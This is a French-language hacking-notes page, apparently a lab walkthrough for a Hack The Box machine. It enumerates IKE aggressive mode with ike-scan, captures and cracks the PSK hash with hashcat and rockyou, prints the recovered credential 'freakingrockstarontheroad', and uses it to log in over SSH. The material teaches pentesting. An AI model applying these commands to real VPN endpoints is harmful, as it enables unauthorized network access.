> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/ike-ipsec-500.md).

# IKE/IPsec - 500

Énumération du mode agressif IKE/IPsec avec ike-scan, capture du hachage PSK, cassage avec hashcat et accès SSH.

### Exploitation VPN IKE/IPsec

Le port UDP 500 indique un service d’échange de clés IKE. Essayez de capturer la clé prépartagée (PSK) en utilisant le mode agressif.

#### Identifier l’ID

Utilisez `ike-scan` pour vérifier si le mode agressif est activé :

```bash
sudo ike-scan -A 10.129.238.52
```

* Résultat : négociation réussie. ID détecté : `ike@expressway.htb`.

#### Capturer et craquer le hachage PSK

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Extraire le hachage et tenter une attaque par force brute avec le `rockyou.txt` dictionnaire.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Identifiants obtenus : `ike` : `freakingrockstarontheroad`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Accès initial

Connexion via SSH avec les identifiants trouvés :

```bash
ssh ike@10.129.238.52
```


---

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